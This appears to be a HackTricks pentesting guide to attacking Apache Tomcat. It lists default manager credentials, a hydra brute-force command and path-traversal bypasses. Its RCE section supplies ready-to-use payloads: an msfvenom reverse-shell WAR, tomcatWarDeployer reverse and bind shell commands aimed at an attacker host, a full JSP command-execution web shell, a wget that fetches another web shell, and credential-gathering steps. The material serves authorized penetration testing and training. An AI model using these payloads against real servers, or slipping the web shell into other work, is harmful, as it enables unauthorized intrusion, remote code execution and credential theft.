hacktricks/network-services-pentesting/pentesting-web/tomcat.md

# Tomcat

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## Discovery

* It usually runs on **port 8080**
* **Common Tomcat error:**

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## Enumeration

### **Version Identification**

To find the version of Apache Tomcat, a simple command can be executed:

```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat 
```

This will search for the term "Tomcat" in the documentation index page, revealing the version in the title tag of the HTML response.

### **Manager Files Location**

Identifying the exact locations of **`/manager`** and **`/host-manager`** directories is crucial as their names might be altered. A brute-force search is recommended to locate these pages.

### **Username Enumeration**

For Tomcat versions older than 6, it's possible to enumerate usernames through:

```bash
msf> use auxiliary/scanner/http/tomcat_enum
```

### **Default Credentials**

The **`/manager/html`** directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:

* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat

These credentials can be tested using:

```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```

Another notable directory is **`/manager/status`**, which displays the Tomcat and OS version, aiding in vulnerability identification.

### **Brute Force Attack**

To attempt a brute force attack on the manager directory, one can use:

```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```

Along with setting various parameters in Metasploit to target a specific host.

## Common Vulnerabilities

### **Password Backtrace Disclosure**

Accessing `/auth.jsp` may reveal the password in a backtrace under fortunate circumstances.

### **Double URL Encoding**

The CVE-2007-1860 vulnerability in `mod_jk` allows for double URL encoding path traversal, enabling unauthorized access to the management interface via a specially crafted URL.

In order to access to the management web of the Tomcat go to: `pathTomcat/%252E%252E/manager/html`

### /examples

Apache Tomcat versions 4.x to 7.x include example scripts that are susceptible to information disclosure and cross-site scripting (XSS) attacks. These scripts, listed comprehensively, should be checked for unauthorized access and potential exploitation. Find [more info here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)

* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp

### **Path Traversal Exploit**

In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`

So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`

**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`

## RCE

Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.

### Limitations

You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section).

```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```

### Metasploit

```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```

### MSFVenom Reverse Shell

1. Create the war to deploy:

```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```

2. Upload the `revshell.war` file and access to it (`/revshell/`):

### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)

In some scenarios this doesn't work (for example old versions of sun)

#### Download

```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```

#### Reverse shell

```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```

#### Bind shell

```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```

### Using [Culsterd](https://github.com/hatRiot/clusterd)

```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```

### Manual method - Web shell

Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):

```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>
```

```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```

You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)

### Manual Method 2

Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:

```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp 
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```

## POST

Name of Tomcat credentials file is _tomcat-users.xml_

```bash
find / -name tomcat-users.xml 2>/dev/null
```

Other ways to gather Tomcat credentials:

```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```

## Other tomcat scanning tools

* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)

## References

* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)

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